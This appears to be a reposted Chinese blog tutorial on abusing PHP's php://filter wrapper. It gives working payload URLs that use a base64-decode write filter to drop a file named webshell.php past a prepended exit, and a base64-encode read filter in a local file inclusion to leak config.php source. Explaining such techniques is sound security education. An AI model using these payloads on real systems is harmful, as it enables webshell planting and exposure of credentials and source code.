php filter 漏洞,php://filter在php漏洞中的利用 -电脑资料

1、php://filter基础

php.net中的描述,http://php.net/manual/zh/wrappers.php.php,

php.net中两个基本的例子:

/* 这会以大写字母输出 www.myhack58.com 的全部内容 */

readfile("php://filter/read=string.toupper/resource=http://www.myhack58.com");

/* 这会通过 rot13 过滤器筛选出字符 "Hello World"

然后写入当前目录下的 example.txt */

file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");

在这个例子中,php会先把Hello World字符串做string.rot13转换然后再写入文件,这在场景A中会有用到。

2、利用场景

A.在黑哥(膜拜黑哥)的关于[技术挑战-2]有提到,这里只说和php://filter有关的部分。

下面一段代码:

$str = ''.$_GET['c'];

$fname = $_GET['f'];

file_put_contents($fname,$str);

如何成功将phpinfo();写入文件并执行?利用上面提到的基础知识可以提交如下链接:

http://127.0.0.1:81/test.php?f=php%3A%2f%2ffilter%2fwrite%3Dconvert.base64-decode%2fresource%3Dwebshell.php&c=dddPD9waHBpbmZvKCk7Pz4

值得注意的有两点:

1). base64_decode()会忽略要解码字符串中无效字符像<>?;等,这里给出base64_decode()函数忽略无效字符相应的c函数代码

170    ch = base64_reverse_table[ch];

171    if ((!strict && ch < 0) || ch == -1) { /* a space or some other separator character, we simply skipo  ver */      www.myhack58.com

172      continue;

173    } else if (ch == -2) {

174      efree(result);

175      return NULL;

176    }

177

2). 将去掉无效字符时,补齐为4的倍数,例如这里去掉有效字符后是phpexit74,然后添加3个字符,补位为4的倍数,也就是c参数开头的三个d,php://filter在php漏洞中的利用》(https://www.unjs.com)。原因的话可以查看base64编码的原理。

B.本地文件包含

如果有这么一段代码:

include($_GET[‘file’]);

你想查看和本代码同一目录下config.php的内容。如何查看呢?

http://127.0.0.1:81/test.php?file=php://filter/convert.base64-encode/resource=config.php

3、参考:

http://www.*****.com/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability/

http://php.net/manual/zh/wrappers.php.php

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值